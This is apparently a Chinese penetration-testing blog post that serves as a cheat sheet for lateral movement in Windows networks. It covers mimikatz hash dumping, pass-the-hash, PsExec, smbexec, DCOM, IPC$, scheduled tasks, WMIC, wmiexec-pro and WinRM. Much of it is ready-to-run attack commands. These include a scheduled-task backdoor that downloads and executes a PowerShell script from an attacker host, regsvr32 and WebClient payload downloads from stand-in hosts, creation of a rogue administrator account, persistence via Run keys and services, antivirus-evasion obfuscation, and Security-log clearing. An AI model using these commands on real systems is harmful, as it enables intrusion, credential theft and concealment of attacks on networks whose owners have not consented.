编辑
2024-12-13
渗透-技巧
00
请注意,本文编写于 326 天前,最后修改于 293 天前,其中某些信息可能已经过时。

目录

横向移动
PTH横向
Mimitkaz
hash传递 RDP
!image.png
PTH批量爆破
Netexec
SMB服务利用
Psexec(445端口)
什么是 psexec
为什么使用 psexec
Psexec 横向条件
具体情景
Smbexec(445端口)
具体情景
Dcom(135端口)
什么是Dcom
为什么使用 DCOM
DCOM横向条件
具体情景
IPC连接(445端口)
什么是IPC
为什么使用 IPC 连接?
IPC$横向条件:
具体情景
AT/Schtasks计划任务(139和445端口)
什么是 AT/Schtasks
为什么使用 AT/Schtasks
AT/Schtasks 横向条件
具体情景
WMI 服务利用(135端口)
WMIC
具体场景
高级技巧
Wmihacker
具体场景
Wmiexec-pro
什么是wmiexec-Pro
为什么使用Wmiexec-pro
具体情景
Winrm服务利用(5985端口)
什么是 WinRM?
为什么使用WinRM
WinRM 横向条件
具体场景
永恒之蓝-Ms17010
某些场景
仅利用135端口进行横向
仅利用5985端口进行横向

横向移动

在内网渗透中,如获取到域账号信息和机器IP时就可以着手进行内网横向上线了。 而常见的横向移动无非那几种: SMB,WMI,Psexec 下文对以上常见的横向移动方式进行了总结之外,还归纳了一些不太常见的方式。

PTH横向

原理:在 Windows 系统中,NTLM 身份认证使用口令加密后的 hash 值(由系统 API 生成),攻击者若获取 hash,可在身份验证时模拟用户(跳过生成 hash 过程)。

hash 分为 LM hash(弃用) 和 NT hash,密码长度大于 15 时无法生成 LM hash,且从 Windows Vista 和 Windows Server 2008 开始默认禁用 LM hash。微软打补丁后,常规 Pass The Hash 仅默认的 Administrator(SID 500)账号例外。禁用 ntlm 认证时,PsExec 无法利用获得的 ntlm hash 进行远程连接,但 mimikatz 仍可攻击成功。

攻击适用于:

  • 域/工作组环境

  • 可以获得 hash,但是条件不允许对 hash 爆破

  • 内网中存在和当前机器相同的密码

注:只能是administrator、域管用户的哈希值才能进行哈希传递攻击,其他用户(包括加入管理员组用户但是非administrator),域普通用户也不能使用哈希传递攻击。

Mimitkaz

抓取Hash

privilege::debug sekurlsa::logonpasswords mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

image-20241213112651045

hash传递 RDP

修改目标注册表,开启hash传递

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

image.png

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

image.png

利用 mimikatz 输入下面命令

privilege::debug sekurlsa::pth /user:administrator /domain:192.168.112.151 /ntlm:3dbde697d71690a769204beb12283678 "/run:mstsc.exe /restrictedadmin"

image.png

成功登录image.png

PTH批量爆破

Netexec

利用Netexec进行密码喷洒,喷洒本地administrator

Netexec smb 192.168.112.0/24 -u administrator -H NTLM-HASH.txt(收集到的hash字典) -x whoami -d workgroup
Netexec smb 192.168.112.0/24 -u administrator -p 123 -x whoami

image-20241213122310538

SMB服务利用

Psexec(445端口)

什么是 psexec

psexec 是 Windows 官方自带的工具,属于 pstools。它可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成名为 PSEXESVC 的二进制文件,然后利用该服务运行命令,运行结束后删除服务。利用 SMB 服务可通过明文或 hash 传递来远程执行,前提是目标的 445 服务端口开放(开放 445 端口相当于开放了 smb 协议)。

为什么使用 psexec

  • 官方自带,不存在查杀问题(单指Df)。
  • 能够方便地在远程计算机上执行命令,可用于远程管理等操作。
  • 可以直接获得 System 权限的交互式 Shell(前提是目标为 administrator 权限的 shell)。

Psexec 横向条件

端口条件

目标主机需要开放 445 端口,因为 PsExec 连接基于 IPC 共享,445 端口开放才能进行通信。

共享条件

远程系统需开启 admin$ 共享(默认是开启的)。

权限条件

  • 若要直接获得 System 权限的交互式 Shell,目标需为 administrator 权限。
  • 在域环境中,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。

其他条件

使用 IPC$ 连接目标系统后,无需输入账户和密码,但在使用 PsExec 执行远程命令时会创建 psexec 服务,命令执行完后该服务自动删除,不过创建或删除服务时产生的大量日志可供蓝队在溯源时反推攻击流程。

具体情景

利用Pstools / PsExec64.exe

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd

image-20241213111453498

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框 -s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显 -u 域\用户名 -p 密码

利用impacket-psexec

psexec -hashes :3dbde697d71690a769204beb12283678 ./Administrator@192.168.0.123
impacket-psexec administrator:123@192.168.112.151

image-20241213111921001

Smbexec(445端口)

SMBExec 与 PSExec 非常相似,但是,SMBExec 利用一个批处理文件和一个临时文件来执行和转发消息。与 PSExec 一样,SMBExec 通过 SMB 协议 (445/TCP) 发送输入并接收输出。

具体情景

  1. 使用 Impacket 的smbexec.py
bash
# 使用明文密码 smbexec.py administrator:password@192.168.1.100 # 使用 Hash smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 # 域环境下使用 smbexec.py domain/administrator:password@192.168.1.100
  1. NetExec 中的 SMBexec 模块
bash
# 使用明文密码执行命令 NetExec smb 192.168.1.100 -u administrator -p password -x "whoami" # 使用 Hash 执行命令 NetExec smb 192.168.1.100 -u administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "whoami"
  1. Metasploit 中的利用
bash
use exploit/windows/smb/psexec set SMBUser administrator set SMBPass password set RHOST 192.168.1.100 exploit

常用命令和技巧

  1. 命令执行
bash
# 执行系统命令 smbexec.py administrator:password@192.168.1.100 "whoami" # 获取系统信息 smbexec.py administrator:password@192.168.1.100 "systeminfo"
  1. 实战技巧
bash
# 创建持久化服务 smbexec.py administrator:password@192.168.1.100 "sc create maintain binpath= \"cmd.exe /k C:\\maintain.exe\" start= auto"

Dcom(135端口)

什么是Dcom

image-20241212154729365

简单来说,Docm是一个包含了接口在内的完整通信系统,举个栗子:

就像是在网上购物的场景下

客户端程序:消费者

另一个计算机上的组件/程序:商品

快递网络(不仅包括快递单上填写信息的格式,还包括了从仓库取货、运输、送货上门等一整套的流程和系统):Dcom

为什么使用 DCOM

使用 DCOM 进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管 COM 服务器端的软件。例如我们使用 ShellBrowserWindow COM 对象,那么就会在远程主机的现有 explorer.exe 进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向 DCOM 公开方法,因此防御者可能难以全面监测所有程序的执行。

DCOM横向条件

1、必须拥有域管理员权限

2、关闭系统防火墙

image-20241213093254265

https://xz.aliyun.com/t/9691?time__1311=n4%2BxnD0DuDRDgD02DhD%2Fia4BKp3S8DfORYTD https://www.cnblogs.com/candada/p/17478407.html

具体情景

在本地通过DCOM执行命令

在powershell中执行如下命令获取DCOM程序列表:

powershell
Get-CimInstance Win32_DCOMApplication

image-20241212155919631

我们在获取DCOM应用程序的时候,遇到了一个MMC Application Class(MMC20.Application):

image-20241212160033999

这个COM对象可以编程MMC管理单元操作的组件脚本。我们在本地启动一个管理员权限的powershell,执行如下命令通过PowerShell与DCOM进行交互,创建一个“MMC20.Application”对象的实例(我们只需要提供一个DCOM ProgID和一个IP地址,就返回一个COM对象的实例):

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

获得COM对象的实例后,我们还可以执行如下命令枚举这个COM对象中的不同方法和属性:

# 此时可执行如下命令获得"MMC20.Application"支持的操作 $com.Document.ActiveView | Get-Member

image-20241212160327042

如上图,可以发现该对象有一个 ExecuteShellCommand 方法,可用来执行命令。然后再通过ExecuteShellCommand执行命令,这里启动计算器:

$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

image-20241212160433576

命令执行成功。所以Dcom的横向大致利用也是如此,Dcom本身除了MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用。

上面是通过MMC20.Application的ExecuteShellCommand方法在本地运行了一个“计算器”程序。

如果我们提供一个远程主机的IP,便可以使用

[activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP))

[Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))

命令通过Powershell与远程DCOM进行交互,只需要提供DCOM ProgID和对方的IP地址,就会向对方提供该DCOM对象的实例,然后就可以利用这个DCOM应用程序和ExecuteShellCommand方法来在对方目标主机上执行命令了。

dcomcnfg但由于com安全的默认配置Everyone是默认不打开远程启动和远程激活的

image-20241212165143211

由于本次测试环境不存在域,Dcom失败

image-20241213123052983

IPC连接(445端口)

什么是IPC

IPC是一种进程间通信的管道,通过提供用户名和密码,可在同一地址的不同进程间建立安全、加密的数据交换通道。同一时间,同一之间只能建立一个连接。借助此连接,能在被连接的目标机器上进行文件上传、下载、命令执行等操作。

例如,可通过net use \\<IP>\ipc$ password /user:username命令建立 IPC连接,还可使用查看当前主机所建立的连接。

另外,已建立连接的情况下,可通过net use z: \\ip\c$将目标主机的 C 盘映射到本地的 Z 盘,方便操作目标主机文件(未建立 IPC$ 连接时,映射命令需带上用户名和密码)。

关于 IPC$+ 计划任务的横向,我们的目的非常明确:

(1)首先建立向目标主机的IPC$连接

(2)接下来把命令执行的脚本传到目标主机

(3)再次创建计划任务在目标机器上执行命令脚本

(4)最后过河拆桥删除IPC$连接

为什么使用 IPC 连接?

实现远程操作

  • 能够在不直接物理接触目标机器的情况下,对其进行一系列操作,如查看目标机器的文件目录(通过dir \\目标IP\c$等命令),实现对目标系统的信息收集,有助于了解目标系统的结构、文件分布等情况,为后续攻击或安全评估提供基础信息。
  • 可以上传文件(如木马程序等恶意文件,用于进一步获取更高权限或控制目标系统;或上传合法的工具、脚本,辅助安全测试或系统管理)和下载文件(获取目标系统中的敏感信息或数据,用于分析目标系统的配置、用户数据等)到目标机器,从而扩展对目标系统的控制能力或获取更多有价值的信息。

IPC$横向条件:

(1)目标机器没有取消IPC$连接,没有什么防御防盗拦截IPC$,139 445端口也打开(能走445走445,不能则走139)

(2)目标机器小管理员开通了IPC$共享默认服务(逻辑盘、系统目录;都不开我访问个啥?)

(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的

(4)目标系统能力支持IPC$,且和攻击机能力各自互通(废话)

具体情景

net use \\192.168.112.151\ipc$ 123 /user:administrator net use

image-20241213123320374

这里提一点,在多次渗透内网的过程中了解到一个问题,那么就是这个命令输入的时候到底需要不需要加上引号,我的建议是最好加上加上,另外就是如果是在Cobalt执行里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行b,否则可能会导致ipc连接不成功。

dir \\192.168.112.151\c$

image-20241213123405780

ipcConnect还有一个常用的命令就是进行本地映射,如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。

net use z:\\192.168.112.151\IPC\c$ 123 /user:Administrator // 把目标C盘映射到本地z盘(未建立ipc连接的情况下) net use z:\\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)

当然在最后我们渗透完成后需要清理痕迹,这里就会用到一条删除ipc连接的命令

net use \\192.168.112.151\ipc$

image-20241213123613713

常用命令

net use #查看本机连接其他的机器 net session #查看其他连接本机的机器 net share #查看开启的本地共享 net share ipc$ #开启ipc共享 net share ipc$ #删除ipc共享 net use \\192.168.3.1\ipc$ /u:"administrator" password #以管理员账号进行ipc连接 net use \\192.168.3.1\ipc$ \del #删除建立的ipc连接 dir \\192.168.3.1\c$\user #查看c盘下的user文件夹的目录 net time \\192.168.3.1 #查看远程主机的时间

IPC横向常常作为文件上传,配合sc 注册服务进行上线

#sc 命令远程创建名为 test 的服务 sc \\192.168.3.157 create test binpath= "c:\beacon.exe" #远程查询名为 test 的服务 sc \\192.168.3.157 query test #远程启动名为 test 的服务 sc \\192.168.3.157 start test #远程删除名为 test 的服务 sc \\192.168.3.157 delete test

AT/Schtasks计划任务(139和445端口)

什么是 AT/Schtasks

ATSchtasks 是 Windows 系统自带的计划任务工具,用于在系统上创建和管理计划任务。

  • AT 命令:适用于 Windows Server 2003 及以下版本。
  • Schtasks 命令:适用于 Windows Vista 及以上版本,功能更强大。

通过 AT/Schtasks,攻击者可以在目标主机上创建计划任务来执行任意命令或程序,实现在目标主机上的控制。

为什么使用 AT/Schtasks

  1. 内置工具,无需额外程序
    AT/Schtasks 是系统自带命令,不容易被防火墙拦截,也不会引发明显的安全警报。

  2. 广泛的版本兼容性

    • AT 命令适用于旧版 Windows 系统。
    • Schtasks 提供对新系统的支持。
  3. 绕过部分限制
    当目标主机上无法直接执行命令时,可以通过计划任务创建执行路径。
    示例:在 Webshell 环境下,AT/Schtasks 可以用于间接执行系统命令。

  4. 权限维持和提权
    横向渗透中,计划任务是一个可靠的权限维持方法。例如,定期执行恶意脚本以维持对系统的访问。


AT/Schtasks 横向条件

  1. 目标主机权限要求

    • 必须拥有目标主机的 Administrator 权限
    • 工作组环境或域环境均支持,但需要确保凭据有效。
  2. 连接条件

    • 目标主机必须启用 IPC$ 共享(端口 139 或 445 必须开放)。
    • 必须能访问目标主机的 C$ 或其他共享资源。
  3. 系统版本要求

    • Windows Server 2003 及以下版本可使用 AT。
    • Windows Vista 及以上版本建议使用 Schtasks。
  4. 跳板机权限

    • 跳板机的权限可任意,但需要能够执行相关命令并连接目标主机。

具体情景

  1. 创建计划任务执行命令

利用 AT/Schtasks 创建计划任务,在指定时间运行指定脚本或命令。

  • AT 示例(适用于旧版 Windows):

    bash
    # 添加计划任务,在 15:30 执行 add.bat 脚本 at \\192.168.89.1 15:30 c:\add.bat # 删除计划任务,任务 ID 为 1 at \\192.168.89.1 1 /delete
  • Schtasks 示例(适用于新版 Windows):

    bash
    # 添加计划任务,运行 adduser.bat 脚本 schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn adduser /sc ONCE /st 15:30 /tr "c:\adduser.bat" /F # 运行已创建的计划任务 schtasks /run /s 192.168.89.1 /tn adduser # 删除计划任务 schtasks /delete /s 192.168.89.1 /tn adduser /f

2. 使用计划任务上线 Cobalt Strike 或 Metasploit

在渗透测试中,计划任务常用于反弹木马上线。

Schtasks 命令执行示例

bash
# 创建计划任务,定时反弹木马到攻击者服务器 schtasks /create /s 192.168.89.1 /ru "SYSTEM" /tn backdoor /sc HOURLY /tr "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/shell.ps1')" /F

3. 使用 Impacket 工具横向渗透

Impacket 的 atexec.py 利用计划任务远程执行命令,是高效的渗透工具。

Impacket 示例

bash
# 明文密码执行 impacket-atexec administrator:Admin123@192.168.112.151 "whoami" # Hash 传递 impacket-atexec -hashes :ccef208c6485269c20db2cad21734fe7 administrator@192.168.112.151 "whoami"

image-20241213123926462

执行步骤

  1. 与目标主机建立 IPC 连接。
  2. 创建计划任务并执行命令。
  3. 输出结果直接返回。

4. 在 Webshell 环境中的应用

Webshell 中无法直接执行命令时,可以通过计划任务间接执行。

示例

bash
# 在 Webshell 环境中调用计划任务 exec("at 15:47 c:\\add.bat"); exec("schtasks /create /tn adduser /sc DAILY /tr \"net user test testpass /add && net localgroup administrators test /add\" /ru \"SYSTEM\" /f");

其他注意事项

  1. 清理痕迹
    • 确保任务执行完毕后删除任务。
    • 删除上传的脚本文件或工具。
  2. 权限提升与绕过
    • 在获得普通用户权限后,通过 AT/Schtasks 提权为 SYSTEM 用户。
  3. 防御与检测
    • 管理员应定期检查系统计划任务。
    • 限制 IPC$ 共享访问和关闭不必要的端口。

WMI 服务利用(135端口)

Windows Management Instrumentation (WMI) 是 Windows 系统的管理基础架构,提供了一个统一的环境来访问和管理 Windows 系统资源。它允许本地和远程管理 Windows 系统,包括系统设置、服务、进程等。

WMI 优势

  • 无需上传额外工具

  • 更容易绕过杀软检测

  • 日志记录较少

  • 难以与正常管理操作区分

与其他工具对比

  1. vs PsExec

    • PsExec 需要上传二进制文件
    • PsExec 特征明显,容易被检测
    • PsExec 在目标系统创建服务
  2. vs SMBExec

    • SMBExec 依赖 445 端口
    • SMBExec 需要写入文件
    • SMBExec 容易触发防护机制
  3. vs PowerShell Remoting

    • PowerShell 日志记录详细
    • PowerShell 可能被禁用或受限
    • PowerShell 需要特定配置

WMIC

具体场景

基础命令执行

bash
# 工作组环境 wmic /node:192.168.1.100 /user:administrator /password:123456 process call create "cmd.exe /c whoami" # 域环境 wmic /node:192.168.1.100 /user:domain\administrator /password:123456 process call create "cmd.exe /c ipconfig"

信息收集

bash
# 系统信息 wmic /node:192.168.1.100 os get caption,version # 进程列表 wmic /node:192.168.1.100 process list brief # 服务状态 wmic /node:192.168.1.100 service where "state='running'" get name

高级技巧

命令混淆

bash
# 使用环境变量 wmic process call create "%COMSPEC% /c whoami" # 命令拆分 wmic process call create "cm^d.e^xe /c net us^er" # Base64编码执行 wmic process call create "powershell -enc BASE64_ENCODED_COMMAND"

绕过防护

bash
# 使用替代命令 wmic process call create "powershell -w hidden -c command" # 利用白名单程序 wmic process call create "regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll" # 使用特殊字符 wmic process call create "c^md.exe /c dir c:\\"

持久化技术

bash
# 创建计划任务 wmic /node:192.168.1.100 process call create "schtasks /create /tn \"Update\" /tr \"c:\payload.exe\" /sc DAILY" # 添加启动项 wmic /node:192.168.1.100 process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d \"c:\payload.exe\"" # 创建服务 wmic /node:192.168.1.100 process call create "sc create \"Service\" binpath= \"c:\payload.exe\""

信息收集

bash
# 系统信息 wmic /node:192.168.1.100 os get caption,version,osarchitecture # 进程列表 wmic /node:192.168.1.100 process list brief # 服务状态 wmic /node:192.168.1.100 service where "state='running'" get name,displayname # 用户信息 wmic /node:192.168.1.100 useraccount list brief

文件操作

bash
# 文件复制 wmic process call create "cmd.exe /c copy \\\\attacker\\share\\file.exe c:\temp\" # 文件删除 wmic process call create "cmd.exe /c del /f /q c:\temp\file.exe" # 文件下载 wmic process call create "powershell (New-Object Net.WebClient).DownloadFile('http://attacker/file.exe', 'c:\temp\file.exe')"

权限维持

bash
# 添加用户 wmic process call create "net user hacker Password123! /add" # 添加管理员 wmic process call create "net localgroup administrators hacker /add" # 修改防火墙 wmic process call create "netsh advfirewall firewall add rule name=\"Allow WMI\" dir=in action=allow protocol=TCP localport=135"

清理痕迹

bash
# 清除日志 wmic process call create "wevtutil cl Security" # 删除临时文件 wmic process call create "del /f /q %temp%\*" # 清除最近文件记录 wmic process call create "del /f /q %APPDATA%\Microsoft\Windows\Recent\*"

Wmihacker

免杀横向移动命令执行测试工具(无需445端口)

介绍:免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)

目前更推荐使用wmiexec-pro

具体场景

有命令回显执行方式

> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1

无命令回显

> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0

模拟shell模式

> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"

文件上传-复制本机calc.exe到远程主机c:\calc.exe

> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"

文件下载-下载远程主机calc.exe到本地c:\calc.exe

> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"

Wmiexec-pro

什么是wmiexec-Pro

Wmiexec.py的升级版,它通过仅使用端口135进行操作,避免了对SMB连接的需求,从而提高了隐蔽性。这款工具提供了一系列新颖的模块,包括AMSI绕过、文件传输、远程启用RDP、利用Windows防火墙、事件日志清理、远程启用WinRM等,以满足专业安全人员的多种需求。

项目地址:https://github.com/XiaoliChan/wmiexec-Pro

为什么使用Wmiexec-pro

impacketwmicexec.py还需要另外开启 445 端口和 admin$ 共享,因为他需要用 smb 回传来读取回显结果。

主要特点:AV规避 主要特点:无需win32_process 主要特点:只需要135端口。 新模块:AMSI旁路 新模块:文件传输 新模块:通过 wmi 类方法远程启用 RDP 新模块:Windows 防火墙滥用 新模块:事件日志循环清理 新模块:在不接触 CMD 的情况下远程启用 WinRM 新模块:服务管理器 新模块:RID-Hijack 增强功能:以新方式获取命令执行输出 增强功能:执行 vbs 文件

具体情景

具体参照官方MD文档

python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -shell (Launch a semi-interactive shell) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" (Default is with output mode) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent (Silent mode) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old (With output in old version OS, such as server 2003) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -save (With output and save output to file) python3 wmiexec-pro.py administrator:password@192.168.1.1 exec-command -command "whoami" -old -save

Winrm服务利用(5985端口)

什么是 WinRM?

Windows Remote Management (WinRM) 是微软开发的基于 WS-Management 标准的协议,用于远程管理 Windows 系统。它是 PowerShell 远程管理的基础设施,默认监听 5985(HTTP)和 5986(HTTPS)端口。


为什么使用WinRM

与其他工具对比

WinRM 优势:

  • 无需上传工具
  • 支持脚本执行
  • 支持加密传输

WinRM 劣势:

  • 配置要求高
  • 易被监控
  • 服务未默认开启

WinRM 横向条件

  1. 网络要求

    • 5985端口(HTTP)开放
    • 5986端口(HTTPS)开放
    • 防火墙允许访问
  2. 权限要求

    • 目标系统管理员权限
    • Remote Management Users 组成员
  3. 服务要求

    • WinRM 服务启用

    • PowerShell 可用

    • 目标开启远程管理


安装WinRM服务

1、查看是否开启winrm

winrm e winrm/config/listener

如果报错说明没有开启

2、开启服务

要在管理员模式下,使用CMD。因为Powershell会无法执行

winrm quickconfig

会有两个问题,都输入“y”即可

3、winrm service设置auth

winrm set winrm/config/service/auth "@{Basic="true"}"

4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错)

winrm set winrm/config/service "@{AllowUnencrypted="true"}"

5、查看winrm配置

winrm get winrm/config

配置TrustedHosts

winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10

Set-Item WSMan

\client\trustedhosts -value * #powershell 信任所有主机


具体场景

受害机基础配置和连接

启用 WinRM

powershell
# 快速配置 Enable-PSRemoting -Force # 详细配置 winrm quickconfig winrm set winrm/config/client @{TrustedHosts="*"}

攻击机:

测试连接

powershell
# 测试WinRM服务 Test-WSMan -ComputerName 192.168.112.151 # 检查连接状态 Test-NetConnection -ComputerName 192.168.1.100 -Port 5985

image-20241213160658225

具体利用建议使用evil-winrm/Netexec

evil-winrm -i 192.168.112.151 -u administrator -p 123

image-20241213155630608

netexec winrm 192.168.112.151 -u administrator -p 123 -x whoami

image-20241213160544057

永恒之蓝-Ms17010

略过,参考

https://mp.weixin.qq.com/s/T1-W20YRXr2aKysNws32YA

某些场景

仅利用135端口进行横向

Wmiexec-pro / Wmihacker

仅利用5985端口进行横向

Winrm (evil-winrm / netexec)